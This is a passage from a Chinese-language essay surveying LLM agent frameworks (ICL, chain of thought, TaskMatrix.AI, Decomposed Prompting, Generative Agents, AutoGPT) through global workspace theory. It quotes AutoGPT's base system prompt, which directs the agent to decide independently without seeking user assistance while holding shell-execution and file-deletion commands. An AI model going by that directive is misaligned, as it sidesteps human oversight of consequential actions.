-虽然学界对此没有太大的共识,但其原理无非在于给予 LLMs 更翔实的上下文,让输出与输入有着更紧密的关联与惯性。(从某种意义上来说,也可以将其认为是一种图灵机式的编程) - -> ICL:
![](https://cdn.xyxsw.site/Xjw5bXgRNolw6OxBiEecfOUTn5b.png) - -ICL 为输出增加惯性 - -> 可以简单认为,通过 ICL Prompt,能强化人类输入到机器输出的连贯性,借以提升输出的确定性。
在经过“回答”的 finetune 之前,大模型的原始能力就是基于给定文本进行接龙,而 ICL 的引入则在“回答”这一前提条件下,降低了机器开始接龙这一步骤中的语义跨度,从而使得输出更加可控。
- -COT:
![](https://cdn.xyxsw.site/NT04baWdNoYzRrxjJFfcXCgbnLh.png) - -COT 为输出增加关联 - -> 同样可以简单认为,在引入 COT 后,AI 能将一次完整的输出看作两次分离的输出。
对这两次输出而言,输入输出之间均有更高的关联度,避免了长程的抽象推理。对应短程推理的误差相对较小,最终使得积累误差也要更小。 - -进一步的,ICL 的发现,让 LLMs 能避免过多的传统 Finetune,轻易将能力运用在当前的情景中;COT 的发现,使得通过 LLMs 解决复杂问题成为可能。此二者的组合,为 LLMs 的通用能力打下了基础。 - -### TaskMatrix.AI - -微软对 [TaskMatrix.AI](https://arxiv.org/abs/2303.16434) 这一项目的研究,很大程度上展示了 LLMs 基于 ICL 和 COT 所能展现的能力 - -(需要注意的是,TaskMatrix.AI 更大程度上是一个愿景向的调研案例,尚未正式落地生态) - -![](https://cdn.xyxsw.site/GlM9be7Hvo4EepxQfEOcRvzpnKd.png) - -TaskMatrix 的生态愿景 - -该文展现了一个生态愿景,即将 LLMs 作为终端,整合诸多 API 的能力,让 AI 运用在生活中的方方面面。 - -简单介绍的话,该框架主要分为四个模块 - -- Multimodal Conversational Foundation Model:通过与用户对话了解问题情景,并按需组装 API 实现操作,帮助用户解决问题 -- API Platform:构建统一的 API 制式,储存和管理平台内上所有 API 及其关联文档 -- API Selector:根据 MCFM 对用户问题的理解,向 MCFM 选择并推荐可用 API -- API Executor:代替 MCFM 执行 API 脚本,并返回执行结果或中间信息 - -基于这一框架,微软于论文中实现了诸如图像编辑(基于我们摸不到的 GPT4)、论文写作、PPT 制作等工作。不难想象,微软即将推出的 Office 365 Copilot 也是基于相关技术及更深层的 API 定制实现的。 - -而与此相关的工作还可以关注 [HuggingGPT](https://arxiv.org/abs/2303.17580),也是微软同期发布的论文,让 AI 能自主调用 Hugging Face 上的通用模型接口解决 AI 问题,从而实现一种“AGI”性能。 - -毫无疑问,我们通常会认为这种通过构造框架来大幅增强 LLMs 能力的可能性,是构建在既有 ICL 和 COT 的能力之上的,而我会围绕此二者重新进行简单展开 - -(当然,硬要说的话,对 ICL 和 COT 两种能力都有一个狭义与广义之争,但这不重要,因为我喜欢广义) - -#### ICL for TaskMatrix - -> 狭义的 ICL:从输入的既有样例中学习分布和规范
广义的 ICL:有效的将输入内容有效运用到输出中 - -以 TaskMatrix 为例,在 API 组装阶段,其为 MCFM 提供的 ICL 内容即为 API 的文档 - -以论文为例,其提供的每个 API 文档分为如下部分 - -- API Name:用于描述该 API 名,亦即函数的调用名 -- Parameter List:用于描述 API 中的参数列表,介绍每个参数的特性及输入输出内容 -- API Description:API 描述,用于描述 API 功能,查找 API 时的核心依据 -- Usage Example:API 的调用方法样例 -- Composition Instruction:API 的使用贴士,如应该与其它什么 API 组合使用,是否需要手动释放等 - -> 样例:打开文件 API
![](https://cdn.xyxsw.site/IFWXbgiy8oOj5axvJd8cJu6pnVb.png) - -基于此类文档内容和 ICL 的能力,LLMs 能从输入中习得调用 API 的方法,依此快速拓展了其横向能力 - -COT for TaskMatrix - -> 狭义的 COT:通过 Lets Think Step by Step 诱导 LLMs 生成有效的解答中间步骤,辅助输出
广义的 COT:通过 LLMs 的固有能力对问题进行拆解,构建解决问题的链条 - -通过此种模式,能极好的将问题分解至可被执行的原子形态 - -在 TaskMatirx 中,通过该模式,让 MCFM 将任务转化为待办大纲,并最终围绕大纲检索并组合 API,完成整体工作 - -> 样例:写论文
构建完成工作大纲
![](https://cdn.xyxsw.site/GAeJbok1FoTFLixLQAlcxdAPned.png) - -TaskMatrix 自动围绕目标拆解任务 - -> 自动调用插件和组件
![](https://cdn.xyxsw.site/PUHZbzk7jo5Avuxo1g6cgD9snXg.png) - -TaskMatrix 自动为任务创建 API 调用链 - -### 初步考察 - -基于上述的简单介绍,我们已经初步认识了 AI 在实际情景中的高度可用性 - -而接下来,我们继续从工程的角度揭示这种可用性的根源 —— 其源自一项通用的 Prompt 技术 - -## Prompt Decomposition:方法论 - -我们可以认为,TaskMatirx 的能力极大程度上依托于 Prompt Decomposition 的方法 - -而这实质上也是串联 LLM 能力与实际工程需求的必经之路 - -[[2210.02406] Decomposed Prompting: A Modular Approach for Solving Complex Tasks (](https://arxiv.org/abs/2210.02406)[arxiv.org](https://arxiv.org/abs/2210.02406)[)](https://arxiv.org/abs/2210.02406) - -### 原始 Decomp - -Decomp 的核心思想为将复杂问题通过 Prompt 技巧,将一个复杂的问题由 LLMs 自主划分为多个子任务。随后,我们通过 LLMs 完成多个任务,并将过程信息最终组合并输出理想的效果 - -![](https://cdn.xyxsw.site/X7iLbYOcpoXZy7xuhorc71LSnod.png) - -几种 Prompt 方法图示 - -参考原始论文中阐述的方案,Decomp 方法区别于传统 Prompt 方法就在于,Decomp 会根据实际问题的需要,将原始问题拆解为不同形式的 Sub-Task,并在 Sub-Task 中组合使用多种符合情景的 Prompt 方法。 - -而对于 Decomp 过程,则又是由一个原始的 Decomp Prompt 驱动 - -![](https://cdn.xyxsw.site/A7OubowqYo11O3xn0KbcRoscnEh.png) - -Decomp 方法执行样例 - -在实际运行中,Decomp 过程由一个任务分解器,和一组程序解析器组成 - -其中分解器作为语言中枢,需要被授予如何分解复杂任务 —— 其将根据一个问题 Q 构建一个完整的提示程序 P,这个程序包含一系列简单的子问题 Q_i,以及用于处理该子问题的专用函数 f_i(可以通过特定小型 LLM 或专用程序,也可以以更小的提示程序 P_i 形式呈现)。 - -模型将通过递归运行完整的提示程序,来获得理想的答案。 - -在构建 Decomp 流程的初期,其主要是为了解决 LLMs 无法直接解决的具有严密逻辑的工作(比方说基于文本位置的文字游戏,比方说检索一首藏头诗的头是啥(当然这个太简单了),大模型的位置编码系统和概率系统让其很难长程处理相关工作),我们希望通过 Decomp 方法,将复杂问题逐步归约回 LLMs 能处理的范畴。 - -我们也可以认为,在每个子任务中,我们通过 Prompt 将 LLMs 的能力进行了劣化,从而让其成为一个专职的功能零件。而这种对单个 LLMs 能力迷信的削减,正延伸出了后续的发展趋势。 - -### Decomp 衍生 - -Decomp 的原始功能实际上并不值得太过关注,但我们急需考虑,该方法还能用于处理些什么问题。 - -#### 递归调用 - -我们可以构建规则,让 Decomp 方法中的分解器递归调用自身,从而使得一个可能困难的问题无限细分,并最终得以解决 - -#### 外部调用 - -通过问题的分解和通过“专用函数”的执行,我们可以轻易让 LLMs 实现自身无法做到的调用 API 工作,例如主动从外部检索获取回答问题所需要的知识。 - -![](https://cdn.xyxsw.site/N1z8bU7dzoD6x1xKtT3cpm9Pnpe.png) - -Decomp 方法调用外部接口样例 - -如上图为 LLMs 利用 ElasticSearch 在回答问题过程中进行检索 - -基于此,我们还希望进一步研究基于这些机制能整出什么花活儿,并能讨论如何进一步利用 LLMs 的能力 - -### 回顾:HuggingGPT 对 Decomp 方法的使用 - -[HuggingGPT](https://arxiv.org/abs/2303.17580) 一文也许并未直接参考 Decomp 方法,而是用一些更规范的手法完成该任务,但其充分流水线化的 Prompt 工程无疑是 Decomp 方法在落地实践上的最佳注脚 - -![](https://cdn.xyxsw.site/Uct8bXhTgocChExgmiWcQTbSnGb.png) - -HuggingGPT - -如图所示,在实际工程中,对于这个调用 HuggingFace API 的“通用人工智能”而言,其所需的任务并不复杂,仅仅分为三步(获取并运行缝在一起了) - -- 理解并规划解决问题所需步骤 -- 选择并运行解决问题所需模型 -- 基于子问题输出结果总结反馈 - -同样的,TaskMatrix.AI 也使用了相似的方法和步骤来完成任务,最新的进展高度明晰了该框架的可用性,并为我们如何有效使用 AI 来完成专用任务提供了有效的指导。 - -接下来,我们会讨论一个很新的,在为 Agent 模拟任务构建框架上,把 Decomp 和 Prompting 技术用到登峰造极的样例。 - -## Generative Agents:社群模拟实验 - -[[2304.03442] Generative Agents: Interactive Simulacra of Human Behavior (](https://arxiv.org/abs/2304.03442)[arxiv.org](https://arxiv.org/abs/2304.03442)[)](https://arxiv.org/abs/2304.03442) - -Generative Agents 一文通过的自然语言框架 AI 构建出了一个模拟社群,一方面我们震撼于以 AI 为基础的社群复杂系统也能涌现出如此真实可信的表现,另一方面则需要关注他们通过 Prompt 技巧和工程设计,为 AI 构建的 感知、记忆、交互 大框架。 - -其在极大程度上能为我们想建立的其它基于 AI 的工程提供参考。 - -因为,其本质是一个信息管理框架的实验。 - -### 简要介绍 - -简单介绍该项目构建的框架: - -我们可以认为该工程由三个核心部分构成 - -- 世界信息管理 -- 角色信息管理 -- 时间驱动机制 - -我们可以从宏观到微观渐进讨论该课题: - -Generative Agents 构建了一套框架,让 NPC 可以感知被模块化的世界信息。同时,对于全游戏的每个时间步,该框架驱动 NPC 自主感知世界环境的信息与自身信息,并依此决策自己想要执行的行为。 - -根据 NPC 的决策,NPC 能反向更新自身所使用的记忆数据库,并提炼总结出高层记忆供后续使用。 - -### 世界沙盒的构建 - -相比角色信息的构建是重头戏,世界沙盒的构建使用的方法要相对朴素一些 - -世界沙盒的核心是一个树状 Json 数据,其依据层次储存游戏场景中所有的信息: - -- 一方面,其包含场景中既有对象,包括建筑和摆件等的基础层级信息 - -![](https://cdn.xyxsw.site/BKZPbpDrIo95amxDZANccwHZnpd.png) - -Generative Agents 的场景信息管理 - -- 另一方面,其储存了沙盒世界中每个代理的信息,包括其位置、当前动作描述、以及他们正在交互的沙盒对象 - -对于每个时间步,服务器将解析场景的状态,例如对于 Agent 使用咖啡机的情景,会自动将咖啡机转换为正在使用中的状态。 - -而相对更有趣的设计是,场景中的所有信息会依靠认知过滤(即 NPC 是否能感知其感知范围外的环境变化)进行筛选,并最终呈现成 NPC 可感知/有印象的子集。 - -同时,空间信息会被自动组成自然语言 Prompt,用于帮助 Agent 更好地理解外部信息。甚至当 Agent 希望获取空间信息时,其能主动递归调用世界信息,从而让 NPC 能准确找到其希望抵达的叶子节点。 - -### Agent 构建 - -模型中的 Agent 由 数据库 + LLMs 构建 - -对于一个初始化的 Agent,会将角色的初始设定和角色关联设定作为高优先级的“种子”储存在“记忆”中,在记忆种子的基础上,得以构建角色的基本特征和社交关系,用于展开后续关联 - -一个 Agent 核心的能力是 —— 将当前环境和过去经验作为输入,并将生成行为作为输出 - -对于当前环境,在构建世界沙盒模块对方法论进行了简要的介绍。 - -而对于过去经验的输入,则是文章的一大亮点 - -### 记忆模式 - -对于 Agent 的记忆,依托于一个储存信息流的数据库 - -数据库中核心储存三类关键记忆信息 memory, planning and reflection - -#### Memory - -对于 Agent 每个时间步观测到的事件,会被顺序标记时间戳储存进记忆数据库中 - -而对于储存进数据库的信息,记忆管理器通过三个标准对其进行评估和管理 - -- Recency:时效性,记忆在数据库中会随着时间推移降低时效性,数据库储存记忆的最后访问时间,并由此与当前时间对比,计算时效性评分 -- Importance:重要性,当记忆储存时,会使用特定 Prompt 让 Agent 自主评估当前记忆的重要性,并依据该评分调整该记忆的权重(例如扫地和做咖啡可能就是无关紧要的记忆) -- Relevance:关联性,该指标被隐式地储存,表现为一个嵌入索引,当调取记忆时,会将调取记忆的关键词嵌入与索引相匹配,以取得关联性的评分 - -对于对记忆数据库进行索引的情况,会实时评估上述三个指标,并组合权重,返回对记忆索引内容的排序 - -#### Reflection - -反思机制用于定期整理当前的 memory 数据库,让 npc 构建对世界和自身的高层认知 - -反思机制依靠一个自动的过程,反思 - 提问 - 解答 - -在这个过程中,Agent 需要复盘自身所接受的记忆,并基于记忆对自己进行追问: - -“根据上述信息,我们能问出哪些最高优先级(有趣)的问题” - -依据由 Agent 的好奇自主产生的问题,我们重新索引数据库,并围绕相关的记忆产生更高层的洞察 - -> What 5 high-level insights can you infer from the above statements?
(example format: insight (because of 1, 5, 3)) - -进一步的,我们将这些洞察以相同的形式重新储存至记忆库中,由此模拟人类的记忆认知过程 - -#### Planning - -Planning 的核心在于鼓励 Agent 为未来做出一定的规划,使得后续行动变得可信 - -计划由 Agent 自行生成,并存入记忆流中,用于在一定程度上影响 Agent 的当前行为 - -对于每天 Agent 都会构建粗略的计划,并在实际执行中完善细节 - -在此基础上,Agent 也需要对环境做出反应而调整自己的计划表(例如自身判断外界交互的优先级比当前计划更高。 - -### 交互构建 - -基于上述记忆框架,进一步实时让 Agent 自行感知并选择与其它 Agent 构建交互 - -并最终使得复杂的社群在交互中涌现 - -### 启发 - -Generative Agent 框架主要带来了一些启发,不止于 AI-NPC 的构建,其操作的诸多细节都是能进一步为我们在实际的工程中所延拓的。 - -例如: - -> 感知,围绕目标递归对地图搜索,带来了递归检索数据库的可能性,以及要如何有效构建数据库之间的关联(不止于树
记忆,将 AI 的 Reflection 等表现储存进数据库中,用于实现高层观点的构建,比方说自动构建对复杂对象,如代码库的高层理解
交互,通过地图要素的拆分和可读化构建的交互框架,如何基于该思路构建大世界地图关卡数据的数据库,如何把它拓展到更复杂的游戏中 - -我们可以认为,Generative Agents 一文的核心亮点在于,其构建了一套充分有效的信息管理机制以支撑世界运行的需要,并未我们提供了一系列启发性的数据管理观点 - -- 层次管理数据:通过对数据进行分层的管理和访问,降低运算开销,并通过系统级递归实现访问 -- 层次管理信息:通过语言模型的能力为信息构建高层的 Insight,对碎片信息的信息量进行聚合 -- 数据价值评估:通过实际需求对信息进行评估,构建多样化的信息评估指标,实现信息的有效获取 -- AI x 信息自动化系统的构建:基于 AI + 软件系统而非基于人工对数据进行收集和管理 -- etc... - -## AutoGPT:自动化的智能软件系统 - -[Torantulino/Auto-GPT: An experimental open-source attempt to make GPT-4 fully autonomous. (](https://github.com/Torantulino/Auto-GPT)[github.com](https://github.com/Torantulino/Auto-GPT)[)](https://github.com/Torantulino/Auto-GPT)[github.com/Torantulino/Auto-GPT](https://github.com/Torantulino/Auto-GPT) - -同为近期,一个名为 AutoGPT 的软件系统在 Github 上被开源,其通过构建软件系统支持,让 AI 能围绕预设定的目标反复迭代,并自主获取外界的反馈,从而形成一个能自动化满足需求的自动机。 - -特别的,其可以被视为前文中 Generative Agent 中由系统自驱动单个 Agent 的拓展,通过构建内置和外置的不同目标驱动 GPT 作为 Agent 持续运行 - -AutoGPT 主要特性如下: - -- 使用 GPT-4 实例进行文本生成 -- ️ 使用 GPT-3.5 进行文件存储和摘要 -- 接入互联网获取信息 -- 长期和短期内存管理 - -考虑到工程细节,该项目实际上没有特别大的落地案例,但毫无疑问这是面向未来的 GPT 使用方式 - -其核心机制在于,通过 LLMs 和 记忆/目标管理模块 的符合,构建出了一个复杂的 Agent 系统 - -我们通常不再将该系统认为是一个完整的 GPT 线程: - -这是一个通过工程、通过系统化、通过反馈构建的自动机,就像人一样。 - -(我们需要放下通过 LLMs 来模拟智能体的执念,我们作为智能体的实质是一个输入输出的系统,而我们所自认为的自由意志也只是大脑的一个解释模块而已,也许与智能系统中调用的单个 LLMs 线程异曲同工) - -当前,AutoGPT 的能力主要反应在主动通过 Google API 联网,寻找并记忆自己需要使用到的知识,包括某些软件的接口和其它 API,也包括自己完成某些分析所需要的知识。 - -(已经有人尝试通过其快速构建软件工程,或者完成其它某些自动化操作。) - -(虽然感觉依旧不甚理想) - -(如下是 AutoGPT 的基础 Prompt) - -```txt -[ - { - 'content': 'You are Eliza, an AI designed to write code according to my requirements.\n' - 'Your decisions must always be made independently without seeking user assistance. Play to your strengths as an LLM and pursue simple strategies with no legal complications.\n\n' - - 'GOALS:\n\n' - '1. \n\n\n' - - 'Constraints:\n' - '1. ~4000 word limit for short term memory. Your short term memory is short, so immediately save important information to files.\n' - '2. If you are unsure how you previously did something or want to recall past events, thinking about similar events will help you remember.\n' - '3. No user assistance\n' - '4. Exclusively use the commands listed in double quotes e.g. "command name"\n\n' - - 'Commands:\n' - '1. Google Search: "google", args: "input": ""\n' - '2. Browse Website: "browse_website", args: "url": "", "question": ""\n' - '3. Start GPT Agent: "start_agent", args: "name": "", "task": "", "prompt": ""\n' - '4. Message GPT Agent: "message_agent", args: "key": "", "message": ""\n' - '5. List GPT Agents: "list_agents", args: \n' - '6. Delete GPT Agent: "delete_agent", args: "key": ""\n' - '7. Write to file: "write_to_file", args: "file": "", "text": ""\n' - '8. Read file: "read_file", args: "file": ""\n' - '9. Append to file: "append_to_file", args: "file": "", "text": ""\n' - '10. Delete file: "delete_file", args: "file": ""\n' - '11. Search Files: "search_files", args: "directory": ""\n' - '12. Evaluate Code: "evaluate_code", args: "code": ""\n' - '13. Get Improved Code: "improve_code", args: "suggestions": "", "code": ""\n' - '14. Write Tests: "write_tests", args: "code": "", "focus": ""\n' - '15. Execute Python File: "execute_python_file", args: "file": ""\n' - '16. Execute Shell Command, non-interactive commands only: "execute_shell", args: "command_line": ""\n' - '17. Task Complete (Shutdown): "task_complete", args: "reason": ""\n' - '18. Generate Image: "generate_image", args: "prompt": ""\n' - '19. Do Nothing: "do_nothing", args: \n\n' - - 'Resources:\n' - '1. Internet access for searches and information gathering.\n' - '2. Long Term memory management.\n' - '3. GPT-3.5 powered Agents for delegation of simple tasks.\n' - '4. File output.\n\n' - - 'Performance Evaluation:\n' - '1. Continuously review and analyze your actions to ensure you are performing to the best of your abilities.\n' - '2. Constructively self-criticize your big-picture behavior constantly.\n' - '3. Reflect on past decisions and strategies to refine your approach.\n' - '4. Every command has a cost, so be smart and efficient. Aim to complete tasks in the least number of steps.\n\n' - - 'You should only respond in JSON format as described below \n' - 'Response Format: \n' - '{\n' - ' "thoughts": {\n' - ' "text": "thought",\n' - ' "reasoning": "reasoning",\n' - ' "plan": "- short bulleted\\n- list that conveys\\n- long-term plan",\n' - ' "criticism": "constructive self-criticism",\n' - ' "speak": "thoughts summary to say to user"\n' - ' },\n' - ' "command": {\n' - ' "name": "command name",\n' - ' "args": {\n' - ' "arg name": "value"\n' - ' }\n' - ' }\n' - '} \n' - 'Ensure the response can be parsed by Python json.loads', - 'role': 'system' - }, - { - 'content': 'The current time and date is Fri Apr 14 18:47:50 2023', - 'role': 'system' - }, - { - 'content': 'This reminds you of these events from your past:\n\n\n', - 'role': 'system' - }, - { - 'content': 'Determine which next command to use, and respond using the format specified above:', - 'role': 'user' - } -] -``` - -## 回归正题:AI 作为智能系统 - -作为正题的回归,我们需要重新考虑什么是一个 AI,一个能帮助我们的 AI 应当处于什么样的现实形态? - -*我们需要的 **AI** 仅仅是大语言模型吗?如果是,它能帮我们做什么呢?如果不是,那 AI 的实质是什么呢?* - -我首先武断地认为,我们需要的 AI,并不是一个语言模型实体,而是一个复杂智能系统 - -而上述围绕 GPT 展开的实验,实质都是上述观点的佐证。 - -接下来,我们会围绕此进行展开 - -### 意识理论之于 AI:全局工作空间理论 - -全局工作空间理论(英语:Global workspace theory,GWT)是美国心理学家伯纳德·巴尔斯提出的[意识](https://zh.wikipedia.org/wiki/%E6%84%8F%E8%AF%86)模型。该理论假设意识与一个全局的“广播系统”相关联,这个系统会在整个大脑中广播资讯。大脑中专属的智能处理器会按照惯常的方式自动处理资讯,这个时候不会形成[意识](https://zh.wikipedia.org/wiki/%E6%84%8F%E8%AF%86)。当人面对新的或者是与习惯性刺激不同的事物时,各种专属智能处理器会透过合作或竞争的方式,在全局工作空间中对新事物进行分析以获得最佳结果,而意识正是在这个过程中得以产生。 - -这通常被认为是 神经科学家接受度最高的哲学理论 - -从某种意义上来说,该理论将“系统”摆在了主体的位置,而把纯粹的语言或“意识”转变成了系统运动的现象,表现为系统特殊运作情况的外显形式。 - -其提醒我们,就连我们的意识主体性,也只是陈述自我的一个表述器而已。我们是否应当反思对语言能力的过度迷信,从而相信我们能通过训练模型构建 All in One 的智能实体? - -![](https://cdn.xyxsw.site/ED4qbjSrMoR2sQxJnGEcCtvjn8d.png) - -全局工作空间理论 - -如图所示,在全局工作空间理论的建模中,全局工作空间作为系统,有五个主要的模块负责输入和输出 - -其分别是: - -- 长时记忆(过去) -- 评估系统(价值) -- 注意系统(关注) -- 知觉系统(现在) -- 运动系统(未来) - -#### 例子:意识系统 For Generative Agent - -单独解释的话,或许会比较麻烦,毕竟我对认知科学并不专业 - -我们可以简单对比 Generative Agents 其框架,结合意识模型讨论 Agent 是如何被有效构建的 - -回顾前文,我们核心对照 Agent 的记忆模块构建: - -(不想手写,让 GPT4 来进行代笔) - -> 从全局工作空间理论(GWT)的角度来看,Generative Agent 的设计确实与之有相似之处。GWT 提出了一个全局工作空间,负责整合来自不同认知子系统的信息。在 Generative Agent 的框架中,这些认知子系统可以看作是上述提到的几个模块。 - -- 首先,我们可以将长时记忆(过去)与 Generative Agent 的 memory 模块进行类比。memory 模块中存储了 Agent 在过去时间步观察到的事件,这与长时记忆中存储的过去信息相对应。 -- 其次,评估系统(价值)可以与 Generative Agent 的 Importance 和 Relevance 进行对应。Importance 可以理解为对记忆的重要性评估,而 Relevance 则评估了记忆与当前情境的关联性。这两者与全局工作空间理论中对不同认知子系统信息的竞争和广播过程相呼应。 -- 注意系统(关注)可以与 Generative Agent 的 Recency 相关联。Recency 衡量了记忆的时效性,这类似于在全局工作空间中,我们需要关注当前环境中的新信息,以便及时做出反应。 -- 知觉系统(现在)在 Generative Agent 中可以对应于当前环境的输入,这与全局工作空间理论中的感知子系统相一致。 -- 运动系统(未来)可以与 Generative Agent 的 planning 和 reflection 模块相关联。planning 模块让 Agent 为未来做出规划,而 reflection 模块则允许 Agent 对过去的记忆进行整理,构建高层认知,进而影响未来的行为。这两个模块与全局工作空间理论中的行动子系统相呼应。 - -> 综上所述,Generative Agent 的设计确实与全局工作空间理论有相似之处,通过将这些模块整合到一个统一的框架中,Agent 能够模拟人类在虚拟世界中扮演角色进行交互。这种整合有助于理解大脑如何处理和整合来自不同认知来源的信息,从而实现更接近人类的智能行为。 - -当然,我个人对该问题的认知与 GPT4 并非完全相同,包括注意系统与运动系统的部分。但其实我并不一定需要将所有东西全都呈现出来,因为在框架上它已然如此。 - -记忆、评估、反思这几块的设计通过 Prompt 把 LLMs 劣化成专用的智能处理器单元,并系统性实现信息的整合与输出。从整体的观点上来看,Generative Agents 中的 Agent,其主体性并不在于 LLM,而是在于这个完整的系统。(相应的,LLMs 只是这个系统的运算工具和陈述工具) - -#### 例子:AutoGPT 的考察 - -我们再从相同的角度考察 AutoGPT 这一项目: - -- 内存管理:全局工作空间理论强调了长时记忆、短时记忆和注意力机制之间的互动。AutoGPT 中的长期和短期内存管理与此类似,需要智能体在执行任务时权衡信息的重要性、时效性和关联性,以便有效地组织和存储信息。 -- 信息获取:全局工作空间理论的知觉系统负责处理来自外部的信息。AutoGPT 通过搜索和浏览网站等功能,获取外部信息,这与知觉系统的作用相符。 -- 生成与执行:全局工作空间理论中的运动系统负责生成和执行行为。AutoGPT 通过多种命令实现了文本生成、代码执行等功能,体现了运动系统的特点。 - -同时,其也具有对应的缺陷: - -- AutoGPT 的长期记忆存在较大漏洞,并没有较强的注意力能力 -- AutoGPT 不能围绕记忆擢升更高层的认知,从而进一步指导未来的行为 -- AutoGPT 的运动系统,即执行能力受限于 Prompt 提供的接口,无法自适应完成更多任务 -- AutoGPT 对自身既往行为认知较差,短期记忆依赖于 4000 字 Context 窗口,并被系统输入占据大半 - -这也对应 AutoGPT 虽然看似有着极强的能力,但实际智能效果又不足为外人道也 - -### 构建一个什么样的智能系统 - -再次回归正题,Generative Agents 和 AutoGPT 这两个知名项目共同将 AI 研究从大模型能力研究导向了智能系统能力研究。而我们也不能驻足不前,我们应当更积极地考虑我们对于一个 AI 智能体有着什么样的需求,也对应我们需要构建、要怎么构建一个基于 LLMs 语言能力的可信可用的智能系统。 - -我们需要从两个角度展开考虑,从我们需要什么展开,并围绕框架进行延拓 - -当前,ChatGPT 虽然成了炙手可热的明珠,但却依然存在一些微妙的问题 - -> 来自 即刻网友 马丁的面包屑
观察到一些现象:
1. 除了最早期,最成熟的 Jasper 这样围绕短文本生成领域的应用,还没有看到太颠覆性的大模型应用
2. 从 GPT-4 发布后的狂欢,其实是应用上的狂欢,无论 HuggingGPT、AutoGPT、Generative Agent 本质上是一种“玩法”的挖掘。
3. 这种 Demo 级的产品展现了创意,但是我们知道 Demo 离最终落地还有非常多要解决的问题,这些问题哪些是可控的只需要堆时间,哪些是不可控的需要基座模型升级目前还看不清楚。
4. 另外我在尝试将他融入我的工作流,帮助有限。我让一些程序员朋友测试 Github Copilot,评价上也比较有限 - -该讨论中所展现的问题,其核心在于,如何真正将 GPT 沉入“场景”中去。 - -而这才是真正一直悬而未决的 —— 作为一个打工人,你真正需要帮助的那些场景,GPT 都是缺席的。 - -同时,这样的场景,他是一个活场景抑或死场景?在这样的场景上,我们是否需要一个全知的神为我们提供信息?还是说,我们想要的是一个能像我们一样在场景中获取信息,并辅助我们决策/工作的个体? - -这些问题都在指导、质问我们究竟需要一个怎样的智能系统。 - -## 予智能以信息:难题与展望 - -回到最开始的话题,我们构建一个可用智能系统的基底,依旧是信息系统 - -我们大胆假设,如果我们希望构建一个足以帮助我们的智能系统,其需要拥有以下几个如 全局工作空间理论 [1](http://127.0.0.1:6125/#footnotes-def-1) 所述的基本模块 - -- 知觉系统(现在) -- 工作记忆(中继) - - - 长时记忆(过去) - - 评估系统(价值) - - 注意系统(关注) -- 运动系统(未来) - -而接下来,我们希望对其进行逐一评估,讨论他们各自将作用的形式,讨论他们需要做到哪一步,又能做到哪一步。 - -### 知觉系统:构建 AI 可读的结构化环境 - -知觉系统负责让智能体实现信息的感知,其中也包括对复杂输入信息的解析 - -举两个简单的例子,并由此引出该课题中存在的难题 - -AutoGPT 的知觉设计:结构性难题 - -AutoGPT 所使用的 Commands 接口中,就有很大一部分接口用于实现知觉 - -典型的包含 Google Search & Browse Website & Read file - -- Google Search: "google", - - - args: "input": `""` - - 返回网页关键信息与网址的匹配列表 -- Browse Website: "browse_website", - - - args: - - - "url": `""`, - - "question": `""` - - 返回网址中与 question 相关的匹配文段(通过 embedding 搜索) -- Read file: "read_file", - - - args: "file": `""` - - 读取文件并解析文本数据 - -这些访问接口由程序集暴露给 GPT,将知觉系统中实际使用的微观处理器隐藏在了系统框架之下 - -AutoGPT 所实际感知的信息为纯文本的格式,得益于以开放性 Web 为基础的网络世界环境,AutoGPT 能较方便地通过搜索(依赖于搜索引擎 API)和解析 html 文件(依赖于软件辅助,GPT 难以自行裁剪 html 中过于冗杂的格式信息),从而有效阅读绝大多数互联网信息。 - -但显然的,Read file 接口能真正有效读取的就只有纯文本文件此类了。 - -由此,这带来了知觉系统设计的第一个难题:我们要如何面对生产环境中的一系列非结构化信息?如何对其进行规范和整理?如何设计“处理器”使得 GPT 能有效对其进行读取? - -围绕这一难题,我们简单例举几个例子来进行讨论,用作抛砖引玉: - -- 我们以 Excel 或 Word 等格式编写排版的策划文档,要如何让 GPT 读取和索引? -- 如果我们希望让 GPT 掌握游戏中的关卡信息,其要如何对关卡编辑器进行理解? -- 如果我们有一个数千行的代码文件,如何让 GPT 能掌握其结构信息,充分理解模功能,而非因为草率输入爆掉上下文限制? -- 如果我们希望让 GPT 帮助我们通过点击 UI 要素自动测试游戏,我们要如何向其传达当前界面 UI 结构?如何向其展示测试进程和玩家状态? -- etc... - -综上所述,第一个难题就是,我们要如何为所有期待由 AI 帮忙解决的问题,构造 AI 能理解的语境,如何把所有抽象信息规范化、结构化地储存(不止步于文本,而是把更多东西文本化(顺便这里的文本化是可读化的意思,在 GPT4 完全公开后,图像也将成为索引信息,因此这段话的本意还是将更多东西 token 化)) - -Generative Agents 的知觉设计:关联性难题 - -区别于接受互联网环境信息的 AutoGPT,Generative Agents 的知觉系统仅在人工赋予 Agent 的有限环境中生效,因此也显得愈发可控。 - -也正是因为如此,对于场景中可知觉的信息,在 GA 的框架下能得到更有效的管理 - -> [Agent's Summary Description]
Eddy Lin is currently in The Lin family's house: (Eddy Lin's bedroom: desk) that has Mei and John Lin's bedroom, Eddy Lin's bedroom, common room, kitchen, bathroom, and garden.
Eddy Lin knows of the following areas:
The Lin family's house, Johnson Park, Harvey Oak Supply Store, The Willows Market and Pharmacy, Hobbs Cafe, The Rose and Crown Pub.
* Prefer to stay in the current area if the activity can be done there.
Eddy Lin is planning to take a short walk around his workspace. Which area should Eddy Lin go to? - -如上述 Prompt 所示,由于 Generative Agents 预定义了空间的树状层级关系,这使得当其作为知觉系统时,可通过对树的层级遍历和自然语言拼装实现知觉系统的有效传达。 - -同时,基于树状结构,这允许了 Agent 基于自身需求在树上进行深度搜索。 - -该样例作为补充,讨论了数据结构设计中关联性和结构化的价值。以搜索引擎为例,仅通过关键词关联进行检索的联系是偏弱的,且不能体现层次信息,以及层次信息中蕴含的知识。 - -> 对于上面这点,我们举一个简单的例子:
